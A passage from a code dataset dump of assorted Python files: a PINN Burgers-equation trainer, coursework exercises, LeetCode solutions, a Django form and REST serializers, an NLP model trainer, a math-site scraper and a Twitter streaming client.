t_val)\n X_test, T_test = np.meshgrid(x, t_test)\n\n X_star = np.hstack((X.flatten()[:, None], T.flatten()[:, None]))\n u_star = Exact.flatten()[:, None]\n X_tr_star = np.hstack((X_train.flatten()[:, None], T_train.flatten()[:, None]))\n u_tr_star = Exact_train.flatten()[:, None]\n X_val_star = np.hstack((X_val.flatten()[:, None], T_val.flatten()[:, None]))\n u_val_star = Exact_val.flatten()[:, None]\n X_test_star = np.hstack((X_test.flatten()[:, None], T_test.flatten()[:, None]))\n u_test_star = Exact_test.flatten()[:, None]\n\n lb = X_tr_star.min(0)\n ub = X_tr_star.max(0)\n\n xx1 = np.hstack((X_train[0:1, :].T, T_train[0:1, :].T))\n uu1 = Exact_train[0:1, :].T\n xx2 = np.hstack((X_train[:, 0:1], T_train[:, 0:1])) \n uu2 = Exact_train[:, 0:1]\n\n X_u_train = np.vstack([xx1, xx2])\n X_f_train = lb + (ub - lb) * lhs(2, N_f)\n X_f_train = np.vstack((X_f_train, X_u_train))\n u_train = np.vstack([uu1, uu2])\n\n idx = np.random.choice(X_u_train.shape[0], N_u, replace=False)\n X_u_train = X_u_train[idx, :]\n u_train = u_train[idx, :]\n\n start_time = time.time()\n\n model = PhysicsInformedNN_ResNet(X_u_train, u_train, X_f_train, layers, lb, ub, nu, learning_rate, weighted)\n\n loss, loss_u, loss_f, mean_u_of_epoch, mean_f_of_epoch, mean_mape_u_of_epoch, var_u_of_epoch, var_f_of_epoch, var_mape_u_of_epoch, \\\n worst_u_of_epoch, worst_f_of_epoch, worst_mape_u_of_epoch, epoch, error_u_extra, validation_error, best_it = model.train(30000, 50, 0.00001,\n X_val_star,u_val_star, num_layers, num_neurons, learning_rate, weighted)\n u_pred_inter, f_pred_inter = model.predict(X_tr_star, best_it)\n u_pred_test, f_pred_test = model.predict(X_test_star, best_it)\n\n elapsed = time.time() - start_time\n print('Training time: %.4f' % (elapsed))\n\n error_u_inter = np.linalg.norm(u_tr_star - u_pred_inter, 2) / np.linalg.norm(u_tr_star, 2)\n print('Error u: %e' % (error_u_inter))\n\n print('Error u: %e' % (error_u_extra))\n\n error_u_test = np.linalg.norm(u_test_star - u_pred_test, 2) / np.linalg.norm(u_test_star, 2)\n print('Error u: %e' % (error_u_test))\n\n return error_u_inter, error_u_extra, error_u_test, best_it\n\nif __name__ == \"__main__\":\n\n num_layers = int(sys.argv[1])\n num_neurons = int(sys.argv[2])\n learning_rate = float(sys.argv[3])\n weighted = int(sys.argv[4])\n\n\n result = main_loop( num_layers, num_neurons, learning_rate, weighted)\n print(result)\n","sub_path":"Viscous_Burgers/Burgers_parameter_opt_Adam_weighted_ResNet.py","file_name":"Burgers_parameter_opt_Adam_weighted_ResNet.py","file_ext":"py","file_size_in_byte":11653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"169746754","text":"anya = {'Секретные материалы': 'фантастика', 'Карточный домик': 'драма', 'Рик и Морти': 'фантастика'}\nolya = {'Клан Сопрано': 'криминал', '24': 'драма', 'Во все тяжкие': 'криминал', 'Карточный домик': 'драма'}\nnastya = {'Ведьмак': 'фэнтази', 'Игра престолов': 'фэнтази'}\nsveta = {'Черное зеркало': 'фантастика', 'Карточный домик': 'драма', 'Рик и Морти': 'фантастика'}\n\n\ndef inner_join_shows(a, b):\n a_generes = []\n b_generes = []\n for key in a:\n a_generes.append(a[key])\n for key in b:\n b_generes.append(b[key])\n if len(set(a_generes) & set(b_generes)) > 0:\n return set(a_generes) & set(b_generes)\n else:\n return 'общих жанров нет'\n\n\nprint('Общие жанры Ани и Насти:', inner_join_shows(anya, nastya))\nprint('Общие жанры Оли и Светы:', inner_join_shows(olya, sveta))\nprint('Общие жанры Светы и Ани:', inner_join_shows(sveta, anya))\n","sub_path":"5-th_hw_part_1.py","file_name":"5-th_hw_part_1.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"70633940","text":"import math as mt\r\nimport numpy as np\r\nimport random as rd\r\nimport engine as eg\r\nimport physics as ph\r\nimport cylax as cl\r\nimport sys\r\nimport config as cf\r\n\r\nsys.path.insert(1, 'C:/Users/Frank/Desktop/Cylax/PySystem')\r\n\r\nclass Main:\r\n\r\n def __init__(self, debug):\r\n\r\n self.DebugMode = debug ### 0 = off, 1 = on\r\n\r\n def message(self):\r\n print(\"This is the calculator, this script is for searching items and making IDLE process.\")\r\n print(\"Read the list below for more information.\")\r\n print(\"\")\r\n if self.DebugMode == 1:\r\n print(\"Debug Mode is on.\")\r\n elif self.DebugMode == 0:\r\n print(\"Debug Mode is off.\")\r\n else:\r\n print(\"Debug Mode is not valid. On Calculator.py, type 0 on main for no Debug and 1 for Debug mode on.\")\r\n raise SystemExit\r\n ui = input(\">: \")\r\n\r\ntest = Main(1)\r\nplay = Main(0)\r\n\r\ntest.message()\r\n","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"643873287","text":"class Solution:\n def countPalindromicSubsequence(self, s: str) -> int:\n left = set()\n res = set()\n \n # hashmap which has the charactor as the key and number of occurance of the charactor as the value\n right = collections.Counter(s)\n \n for ch in s:\n right[ch] -= 1\n if right[ch] == 0:\n # right.pop(ch)\n del right[ch]\n for l in string.ascii_lowercase:\n if l in left and l in right:\n res.add((ch, l))\n left.add(ch)\n return len(res)\n ","sub_path":"1930_UniqueLength3PalindromicSubsequences.py","file_name":"1930_UniqueLength3PalindromicSubsequences.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"259158456","text":"#\r\n# @lc app=leetcode id=6 lang=python3\r\n#\r\n# [6] ZigZag Conversion\r\n#\r\nclass Solution:\r\n def convert(self, s: str, numRows: int) -> str:\r\n if len(s)<=numRows or numRows==1:\r\n return s\r\n\r\n result=[]\r\n thr = len(s)\r\n n = 2*numRows-2\r\n for i in range(numRows):\r\n p = [j for j in range(i,thr,n)]\r\n if i >0 and 2*i!=n:\r\n m = [j for j in range(n-i,thr,n)]\r\n p.extend(m)\r\n p.sort()\r\n result.extend([s[j] for j in p])\r\n return ''.join(result)\r\n\r\nif __name__ == \"__main__\":\r\n s = Solution()\r\n print(s.convert('adhalajdl',1))\r\n","sub_path":"Yifan/week-1/6.zig-zag-conversion.py","file_name":"6.zig-zag-conversion.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"650913654","text":"\"\"\"\nWrite a program that prompts for a file name, then opens that file and reads through the file, looking for lines of the form:\n```\nX-DSPAM-Confidence: 0.8475\n```\n\nCount these lines and extract the floating point values from each of the lines and compute the average of those values and produce an output as shown below. \nDo not use the sum() function or a variable named sum in your solution.\n\nYou can download the sample data at [http://www.py4e.com/code3/mbox-short.txt](https://www.py4e.com/code3/mbox-short.txt?PHPSESSID=1591429c8869cb3a5494c135d155f554) \nwhen you are testing below enter **mbox-short.txt** as the file name.\n\"\"\"\n\"\"\"\nDesired Output\nAverage spam confidence: 0.7507185185185187\n\"\"\"\nfname = input(\"Enter file name: \")\nfh = open(fname)\n\ncount = 0\ntotal = 0\n\nfor line in fh:\n if line.startswith(\"X-DSPAM-Confidence:\"):\n count = count + 1\n value = float(line[19:])\n total = value + total\n continue\n \naverage = total / count\nprint(\"Average spam confidence:\", average)\n","sub_path":"Assignment 7.2.py","file_name":"Assignment 7.2.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"369672200","text":"import numpy as np\nimport glob\nimport sys\n\ndef convert(entry):\n \"\"\"\n Converts a data structure from bytes to strings\n \"\"\"\n #print(type(entry),entry)\n if isinstance(entry, bytes):\n return entry.decode('utf-8')\n elif isinstance(entry, dict):\n newdict = {}\n for key,value in entry.items():\n key = convert(key)\n newdict[key] = convert(value)\n return newdict\n elif isinstance(entry, list) or isinstance(entry, np.ndarray):\n for index, dummy in enumerate(entry):\n entry[index] = convert(entry[index])\n return entry\n elif isinstance(entry, tuple):\n outlist = []\n for index, dummy in enumerate(entry):\n outlist.append(convert(entry[index]))\n return tuple(outlist)\n else:\n return entry\n\ndef gettext(data,item):\n \"\"\"\n Text labels. Priority is: Disperser (and order) if it exists, then filter\n if it exists. If neither exist (unlikely), just use aperture.\n \"\"\"\n if 'disperser' in data['configs'][x]:\n if 'filter' in data['configs'][x]:\n if data['configs'][x]['filter'] == None:\n if 'order' in data:\n textval = '{} {}'.format(data['configs'][x]['disperser'], data['orders'][x])\n else:\n textval = '{}'.format(data['configs'][x]['disperser'])\n else:\n textval = '{} {}'.format(data['configs'][x]['disperser'], data['configs'][x]['filter'])\n else:\n textval = '{} {}'.format(data['configs'][x]['aperture'], data['configs'][x]['disperser'])\n else:\n if 'filter' in data['configs'][x]:\n textval = data['configs'][x]['filter']\n else:\n textval = data['configs'][x]['aperture']\n return textval\n\nfolder = sys.argv[1]\nfiles = glob.glob('../{}/*_sensitivity.npz'.format(folder))\n\nfor file in files:\n data = dict(np.load(file, encoding=\"bytes\"))\n data = convert(data)\n inst,mode,*dummy = file.split(\"/\")[-1].split(\"_\")\n with open(\"{}_{}.csv\".format(inst,mode),\"w\") as outfile:\n outfile.write(\"#{} {}\\n\".format(inst.upper(),mode.upper()))\n outfile.write(\"# wavelengths in microns\\n# Lim_fluxes in microJy\\n# sat_limits in Jy\\n\")\n outfile.write(\"wave,lim_fluxes,sat_limits\\n\")\n for x,keys in enumerate(data['configs']):\n text = gettext(data,x)\n outfile.write(\"#{}\\n\".format(text))\n if len(data['wavelengths'][x]) == 1:\n outfile.write(\"{:7.6f},{:7.6f},{:7.6f}\\n\".format(data['wavelengths'][x][0],data['lim_fluxes'][x][0], data['sat_limits'][x]))\n else:\n for y in range(len(data['wavelengths'][x])):\n outfile.write(\"{:7.6f},{:7.6f},{:7.6f}\\n\".format(data['wavelengths'][x][y],data['lim_fluxes'][x][y], data['sat_limits'][x][y]))\n","sub_path":"verification_tools/dump_sensitivity.py","file_name":"dump_sensitivity.py","file_ext":"py","file_size_in_byte":2859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"424303649","text":"from django import forms\n\n\nclass DynamicForm(forms.Form):\n\n def __init__(self, *args, **kwargs):\n super(DynamicForm, self).__init__(*args, **kwargs)\n if args:\n flds = [x for x in args[0].keys() if x.startswith('Field')]\n flds.sort()\n for field in flds:\n self.fields[field] = forms.CharField(max_length=255)\n\n\n\n","sub_path":"testapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"77844335","text":"import synapse.cells as s_cells\nimport synapse.common as s_common\n\nimport synapse.tests.utils as s_t_utils\n\nclass CellTest(s_t_utils.SynTest):\n def test_getcells(self):\n data = s_cells.getCells()\n data = {k: v for k, v in data}\n self.isin('cortex', data)\n\n def test_deploy(self):\n with self.getTestDir() as dirn:\n s_cells.deploy('cortex', dirn, {'test': 1})\n d = s_common.yamlload(dirn, 'boot.yaml')\n self.eq(d, {'type': 'cortex', 'test': 1, })\n","sub_path":"synapse/tests/test_cells.py","file_name":"test_cells.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"93918952","text":"def Fizz_Buzz(num):\n if num <= 0:\n print(num)\n elif num % 3 == 0 and num % 5 == 0:\n print(\"FizzBuzz\")\n elif num % 3 == 0:\n print(\"Fizz\")\n elif num % 5 == 0:\n print(\"Buzz\")\n else:\n print(num)\n \nif __name__ == \"__main__\":\n temp = input(\"Please input a number:\\n\")\n guess = int(temp)\n for i in range(guess):\n Fizz_Buzz(i)\n \n \n","sub_path":"3_for/3_for_ryugakusei_Fizz_Buzz.py","file_name":"3_for_ryugakusei_Fizz_Buzz.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"364711091","text":"# ========================================================================\n# Copyright 2017 Emory University\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ========================================================================\nimport sys\nimport logging\nimport time\nfrom abc import ABCMeta, abstractmethod\nfrom concurrent.futures import Future\nfrom concurrent.futures import ThreadPoolExecutor\nfrom concurrent.futures import wait\nfrom random import shuffle\nfrom typing import Dict, List, Tuple, Union, Callable\n\nimport mxnet as mx\nimport numpy as np\nfrom itertools import islice\n\nfrom elit.component.template.lexicon import NLPLexiconMapper\nfrom elit.component.template.state import NLPState\nfrom elit.structure import NLPGraph\n\nimport graphviz\n\n__author__ = 'Jinho D. Choi'\n\n\nclass NLPModel(metaclass=ABCMeta):\n def __init__(self, state: Callable[[NLPGraph, NLPLexiconMapper, bool], NLPState], batch_size: int):\n # label\n self.index_map: Dict[str, int] = {}\n self.labels: List[str] = []\n\n # init\n self.mxmod = None\n self.state = state\n self.batch_size: int = batch_size\n\n # ============================== Label ==============================\n\n def get_label_index(self, label: str) -> int:\n \"\"\"\n :return: the index of the label.\n \"\"\"\n return self.index_map.get(label, -1)\n\n def get_label(self, index: Union[int, np.int]) -> str:\n \"\"\"\n :param index: the index of the label to be returned.\n :return: the index'th label.\n \"\"\"\n return self.labels[index]\n\n def add_label(self, label: str) -> int:\n \"\"\"\n :return: the index of the label.\n Add a label to this map if not exist already.\n \"\"\"\n idx = self.get_label_index(label)\n if idx < 0:\n idx = len(self.labels)\n self.index_map[label] = idx\n self.labels.append(label)\n return idx\n\n @property\n def num_label(self):\n return len(self.labels)\n\n # ============================== Feature ==============================\n\n @abstractmethod\n def x(self, state: NLPState) -> np.array:\n \"\"\" :return: the feature vector for the current state. \"\"\"\n\n def feature_vectors(self, states: List[NLPState]) -> np.array:\n xs_0 = [[self.x(state)[0]] for state in states]\n xs_1 = [[self.x(state)[1]] for state in states]\n out_0 = np.stack(xs_0, axis = 0)\n out_1 = np.stack(xs_1, axis = 0)\n out_0 = np.squeeze(out_0, axis=1)\n out_1 = np.squeeze(out_1, axis=1)\n return [out_0, out_1]\n\n def train_instances(self, states: List[NLPState], num_threads: int=1) -> Tuple[np.array, np.array]:\n def instances(thread_id=0, batch_size=len(states)):\n bidx = thread_id * batch_size\n eidx = min((thread_id + 1) * batch_size, len(states))\n return zip(*[(self.x(state), state.gold) for state in islice(states, bidx, eidx)])\n\n def xys(future: Future):\n xs, ys = future.result()\n return xs, np.array([self.add_label(y) for y in ys])\n\n if num_threads == 1:\n xs, ys = instances()\n xs_1, xs_2 = zip(*xs)\n x1 = np.stack(xs_1, axis=0)\n x2 = np.stack(xs_2, axis=0)\n data = [x1, x2]\n label = np.array([self.add_label(y) for y in ys])\n return data, label\n else:\n pool = ThreadPoolExecutor(num_threads)\n size = np.math.ceil(len(states) / num_threads)\n futures = [pool.submit(instances, i, size) for i in range(num_threads)]\n while wait(futures)[1]: pass\n xxs, yys = zip(*[xys(future) for future in futures])\n return np.vstack(xxs), np.hstack(yys)\n\n # ============================== Module ==============================\n\n def bind(self, data: np.array, label: np.array=None, batch_size=32, for_training: bool=True, force_rebind=True) \\\n -> mx.io.DataIter:\n batches: mx.io.NDArrayIter = self.data_iter(data, label, batch_size)\n label_shapes = None if label is None else batches.provide_label\n self.mxmod.bind(data_shapes=batches.provide_data, label_shapes=label_shapes, for_training=for_training,\n force_rebind=force_rebind)\n return batches\n\n def fit(self, batches: mx.io.DataIter, num_epoch: int=1) -> np.array:\n print (\"THE NUM EPOCH IS: \", num_epoch)\n for epoch in range(num_epoch):\n cnn_fea = []\n for batch in batches:\n self.mxmod.forward(batch)\n\n # extract pooled layer feature vector. first index output is softmax layer output\n temp_symbol_1 = self.mxmod.get_outputs()[1]\n fea = temp_symbol_1.asnumpy()\n # print(fea)\n\n self.mxmod.backward()\n self.mxmod.update()\n\n # sys.exit() \n\n # sync aux params across devices\n arg_params, aux_params = self.mxmod.get_params()\n self.mxmod.set_params(arg_params, aux_params)\n\n # end of 1 epoch, reset the data-iter for another epoch\n batches.reset()\n\n return self.predict(batches)\n\n\n def predict(self, batches: mx.io.DataIter) -> np.array:\n # print (self.mxmod.predict(batches))\n return self.mxmod.predict(batches)[0].asnumpy()\n #return ys[:, range(self.label_size)] if ys.shape[1] > self.label_size else ys\n\n def train(self, trn_graphs: List[NLPGraph], dev_graphs: List[NLPGraph], lexicon: NLPLexiconMapper,\n num_steps=2000, bagging_ratio=0.63,\n initializer: mx.initializer.Initializer = mx.initializer.Normal(0.01),\n arg_params=None, aux_params=None,\n allow_missing: bool=False, force_init: bool=False,\n kvstore: Union[str, mx.kvstore.KVStore] = 'local',\n optimizer: Union[str, mx.optimizer.Optimizer] = 'Adam',\n optimizer_params=(('learning_rate', 0.01),)):\n\n trn_states: List[NLPState] = [self.state(graph, lexicon, save_gold=True) for graph in trn_graphs]\n dev_states: List[NLPState] = [self.state(graph, lexicon, save_gold=True) for graph in dev_graphs]\n\n bag_size = int(len(trn_states) * bagging_ratio)\n\n best_eval = 0\n previous_label = []\n for step in range(1, num_steps+1):\n st = time.time()\n shuffle(trn_states)\n trn_states.sort(key=lambda x: x.reset_count)\n xs, ys = self.train_instances(trn_states[:bag_size])\n batches = self.bind(xs, ys, batch_size=self.batch_size)\n\n if step == 1:\n self.mxmod.init_params(\n initializer=initializer, arg_params=arg_params, aux_params=aux_params,\n allow_missing=allow_missing, force_init=force_init)\n self.mxmod.init_optimizer(\n kvstore=kvstore, optimizer=optimizer, optimizer_params=optimizer_params)\n\n predictions = self.fit(batches)\n correct = 0\n\n for state, y, yhats in zip(trn_states, ys, predictions):\n yh = np.argmax(yhats if len(yhats) == self.num_label else yhats[:self.num_label])\n state.process(self.get_label(yh), yhats)\n if y == yh: correct += 1\n if state.terminate: state.reset()\n\n trn_acc = correct / len(ys)\n dev_eval = self.evaluate(dev_states, batch_size=self.batch_size)\n tt = time.time() - st\n logging.info('%6d: trn-acc = %6.4f, dev-eval = %6.4f, time = %d' % (step, trn_acc, dev_eval, tt))\n best_eval = max(dev_eval, best_eval)\n\n logging.info('best: %6.4f' % best_eval)\n\n def evaluate(self, states: List[NLPState], batch_size=32):\n for state in states: state.reset()\n backup = states\n\n while states:\n xs = self.feature_vectors(states)\n batches: mx.io.NDArrayIter = self.bind(xs, batch_size=batch_size, for_training=False)\n predictions = self.predict(batches)\n\n for state, yhats in zip(states, predictions):\n yh = np.argmax(yhats if len(yhats) == self.num_label else yhats[:self.num_label])\n state.process(self.get_label(yh), yhats)\n\n states = [state for state in states if not state.terminate]\n\n stats = np.array([0, 0])\n acc = 0\n\n for state in backup:\n acc = state.eval(stats)\n\n return acc\n\n # ============================== Helper ==============================\n\n @classmethod\n def data_iter(cls, data: np.array, label: np.array=None, batch_size=32) -> mx.io.DataIter:\n batch_size = len(data[0]) if len(data[0]) < batch_size else batch_size\n return mx.io.NDArrayIter(data={'data_f2v' : data[0], 'data_a2v': data[1]}, label=label, batch_size=batch_size, shuffle=False)\n","sub_path":"python/elit/component/template/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"476378711","text":"file = open(\"1\", \"r\")\r\ncontent = file.read()\r\nfile.close()\r\nletters = content.split(\"\\n\")\r\nmultiple = 0\r\nfor i in letters:\r\n for j in letters:\r\n for k in letters:\r\n if int(i) + int(j) + int(k) == 2020:\r\n multiple = int(i)*int(j)*int(k)\r\nprint(multiple)","sub_path":"AOC/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"345014298","text":"from rest_framework import serializers, exceptions\n\nfrom api.models import Book, Publish\n\n\nclass PressModelSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Publish\n fields = (\"pub_name\", \"address\", \"pic\")\n\n\nclass BookModelSerializer(serializers.ModelSerializer):\n\n publish = PressModelSerializer()\n\n class Meta:\n\n model = Book\n fields = (\"book_name\", \"price\", \"pic\", \"publish\")\n\n # fields = \"__all__\"\n\n # exclude = (\"is_delete\", \"create_time\", \"status\")\n\n # depth = 1\n\n\nclass BookDeModelSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Book\n fields = (\"book_name\", \"price\", \"publish\", \"authors\")\n\n # 添加DRF所提供的校验规则\n extra_kwargs = {\n \"book_name\": {\n \"required\": True,\n \"min_length\": 3,\n \"error_messages\": {\n \"required\": \"图书名是必填的\",\n \"min_length\": \"长度不够,太短了哦~\"\n }\n },\n \"price\": {\n \"max_digits\": 5,\n \"decimal_places\": 2,\n }\n }\n\n def validate_book_name(self, value):\n # 自定义用户名校验规则\n if \"1\" in value:\n raise exceptions.ValidationError(\"图书名含有敏感字\")\n return value\n\n # 全局校验钩子\n def validate(self, attrs):\n price = attrs.get(\"price\", 0)\n if price > 90:\n raise exceptions.ValidationError(\"超过设定的最高价钱~\")\n\n return attrs\n\n\nclass BookListSerializer(serializers.ListSerializer):\n def update(self, instance, validated_data):\n for index, obj in enumerate(instance):\n self.child.update(obj, validated_data[index])\n\n return instance\n\n\nclass BookModelSerializerTogether(serializers.ModelSerializer):\n class Meta:\n model = Book\n # fields应该填写哪些字段 应该填写序列化与反序列化字段的并集\n fields = (\"book_name\", \"price\", \"publish\", \"authors\", \"pic\")\n list_serializer_class = BookListSerializer\n\n # 添加DRF所提供的校验规则\n extra_kwargs = {\n \"book_name\": {\n \"required\": True,\n \"min_length\": 3,\n \"error_messages\": {\n \"required\": \"图书名是必填的\",\n \"min_length\": \"长度不够,太短啦~\"\n }\n },\n # 指定此字段只参与反序列化\n \"publish\": {\n \"write_only\": True\n },\n \"authors\": {\n \"write_only\": True\n },\n # 指定此字段只参与序列化\n \"pic\": {\n \"read_only\": True\n }\n }\n\n def validate_book_name(self, value):\n # 自定义用户名校验规则\n if \"1\" in value:\n raise exceptions.ValidationError(\"图书名含有敏感字\")\n return value\n\n # 全局校验钩子\n def validate(self, attrs):\n\n price = attrs.get(\"price\", 0)\n if price > 90:\n raise exceptions.ValidationError(\"超过设定的最高价钱~\")\n\n return attrs\n","sub_path":"app1/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"370602575","text":"# Capitla Alphabet G using Function\r\ndef for_G():\r\n \"\"\" *'s printed in the Shape of Capital G \"\"\"\r\n for row in range(9):\r\n for col in range(6):\r\n if col ==0 and row%8 !=0 or row %8 ==0 and col %5 !=0 or col ==5 and row in (1,2,6,7) or row ==6 and col>2:\r\n print('*',end=' ')\r\n else:\r\n print(' ',end=' ')\r\n print()\r\n\r\ndef while_G():\r\n \"\"\" *'s printed in the Shape of Capital G \"\"\"\r\n row =0\r\n while row <9:\r\n col =0\r\n while col <6:\r\n if col ==0 and row%8 !=0 or row %8 ==0 and col %5 !=0 or col ==5 and row in (1,2,6,7) or row ==6 and col>2:\r\n print('*',end=' ')\r\n else:\r\n print(' ',end=' ')\r\n col +=1\r\n print()\r\n row +=1\r\n\r\n \r\n \r\n","sub_path":"Alphabets/Capital Alphabets/G.py","file_name":"G.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"465966750","text":"\"\"\"\n%2B = +\n%3D = =\n%2F = /\n\nSymbolab:\nsin = /sin\n(=\\left(\n)=\\right)\n* = \\cdot\n\n\n\\=\\frac{num}{denom}\n\n\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\n\nGETINPUT = True\n\nuinput = \"1+1\"\n\nif(GETINPUT == True):\n uinput = input(\"Enter Input: \")\n\n\n\n\nrunWOLFRAM = True\nrunCYMATH = True\nrunSYMBOLAB = True\n\n\nbrowser = webdriver.PhantomJS(executable_path='C:\\\\phantomjs-2.1.1-windows\\\\bin\\\\phantomjs.exe')\n\n\ndef formaturlexpr(expr, urlbase, site):\n # sin(3*x)%2B4%3D4-5*pi\n if (site == \"wolfram\" or site == \"cymath\"):\n eu1 = expr.replace('+','%2B')\n eu2 = eu1.replace('=','%3D')\n eu3 = eu2.replace('/','%2F')\n endurl = eu3\n finalurl = urlbase + endurl\n # print(finalurl)\n return finalurl\n elif (site == \"symbolab\"):\n eu1 = expr.replace('+','%2B')\n eu2 = eu1.replace('=','%3D')\n eu3 = eu2.replace('/','%2F')\n eu4 = eu3.replace('sin','/sin')\n eu5 = eu4.replace('(','\\\\left(')\n eu6 = eu5.replace(')','\\\\right)')\n eu7 = eu6.replace('*','\\\\cdot')\n endurl = eu7\n finalurl = urlbase + endurl\n # print(finalurl)\n return finalurl\n\n\n\nsite = \"https://www.wolframalpha.com/input/?i=\"\n\n\ndef WolframFunction():\n sitedemo = \"https://www.wolframalpha.com/input/?i=sin(x)%3D24\"\n site = formaturlexpr(uinput, \"https://www.wolframalpha.com/input/?i=\", \"wolfram\")\n\n\n browser.set_window_size(1120, 550)\n browser.get(site)\n browser.save_screenshot('wolframscreenshot.png')\n\n html = browser.page_source\n soup = BeautifulSoup(html, 'html.parser')\n\n SymbolicSolution = soup.find(id=\"SymbolicSolution\")\n imglist = SymbolicSolution.find_all('img', class_='ng-isolate-scope', alt=True)\n\n print(\"WOLFRAMALPHA\")\n\n for item in imglist:\n # print(item.get_text())\n print(item['alt'])\n\n\n\n\ndef CymathFunction():\n sitedemo = \"https://www.cymath.com/answer?q=sin(x)%3D24\"\n site = formaturlexpr(uinput, \"https://www.cymath.com/answer?q=\", \"cymath\")\n\n\n browser.set_window_size(1120, 550)\n browser.get(site)\n browser.save_screenshot('cymathscreenshot.png')\n\n\n html = browser.page_source\n soup = BeautifulSoup(html, 'html.parser')\n\n\n stepsdivlist = soup.find_all(id=\"steps_div\")\n itnlist = soup.find_all(class_='itn')\n katexlist = soup.find_all(class_='katex')\n listmord = soup.find_all(class_='mord mathrm')\n sollist = soup.findChildren(class_='base textstyle uncramped')\n hiddenanswers = soup.find(id=\"answer\")\n\n print(\"CYMATH\")\n\n hiddenanswertext = hiddenanswers.get_text()\n # print(hiddenanswertext)\n hat1 = hiddenanswertext.replace('),sequence(',' & ')\n hat2 = hat1.replace('sequence(', ' ')\n hat3 = hat2[:-1]\n hat4 = hat3.replace('PI', 'π')\n hiddenanswertext = hat4\n print(hiddenanswertext)\n\n\n\ndef SymbolabFunction():\n sitedemo = \"https://www.symbolab.com/solver/step-by-step/sin%5Cleft(x%5Cright)%3D24\"\n site = \"https://www.symbolab.com/solver/step-by-step/sin%5Cleft(x%5Cright)%3D24\"\n\n\n browser.set_window_size(1120, 550)\n browser.get(site)\n browser.save_screenshot('symbolabscreenshot.png')\n\n\n\n html = browser.page_source\n soup = BeautifulSoup(html, 'html.parser')\n\n\n selectablelist = soup.find_all(class_='selectable')\n solutionslist = soup.find_all(class_='solution_step_list_item')\n\n # print(solutionsteplist)\n\n print(\"SYMBOLAB\")\n\n for item in solutionslist:\n\n print(item.get_text())\n\n\n\n\n\n\nif runWOLFRAM == True:\n try:\n WolframFunction()\n except:\n print(\"Wolfram gave up!\")\n\nif runCYMATH == True:\n try:\n CymathFunction()\n except:\n print(\"Cymath gave up!\")\n\nif runSYMBOLAB == True:\n try:\n SymbolabFunction()\n except:\n print(\"Symbolab gave up!\")\n","sub_path":"solve-scrape.py","file_name":"solve-scrape.py","file_ext":"py","file_size_in_byte":3798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"189403341","text":"import json\nimport requests\nimport socket\nimport sys\nimport twitter_secure as ts\n\n# call the Twitter API URL and return the response for a stream of tweets\nmy_auth = ts.secure()\n\nhost = \"localhost\"\nport = 9999\n\ndef get_tweets():\n\turl = 'https://stream.twitter.com/1.1/statuses/filter.json'\n\tquery_data = [('language', 'en'), ('locations', '-130,-20,100,50')]\n\tquery_url = url + '?' + '&'.join([str(t[0]) + '=' + str(t[1]) for t in query_data])\n\tresponse = requests.get(query_url, auth=my_auth, stream=True)\n\treturn response\n\ndef send_tweets_to_spark(http_resp, tcp_connection):\n for line in http_resp.iter_lines():\n\n try:\n full_tweet = json.loads(line)\n\n datetime = full_tweet['created_at'][:20]\n tweet = full_tweet['text']\n print (f\"---------------{datetime}--------------------------\")\n print(tweet)\n tcp_connection.send(bytes(tweet, \"utf-8\"))\n\n except:\n e = sys.exc_info()[0]\n print(\"Error KO000: %s\" % e)\n\ndef main():\n TCP_IP = \"localhost\"\n TCP_PORT = 9009\n conn = None\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.bind((TCP_IP, TCP_PORT))\n s.listen(1)\n print(\"Waiting for TCP connection...\")\n conn, addr = s.accept()\n print(\"Connected... Starting getting tweets.\")\n resp = get_tweets()\n send_tweets_to_spark(resp, conn)\n\nif __name__ == '__main__':\n 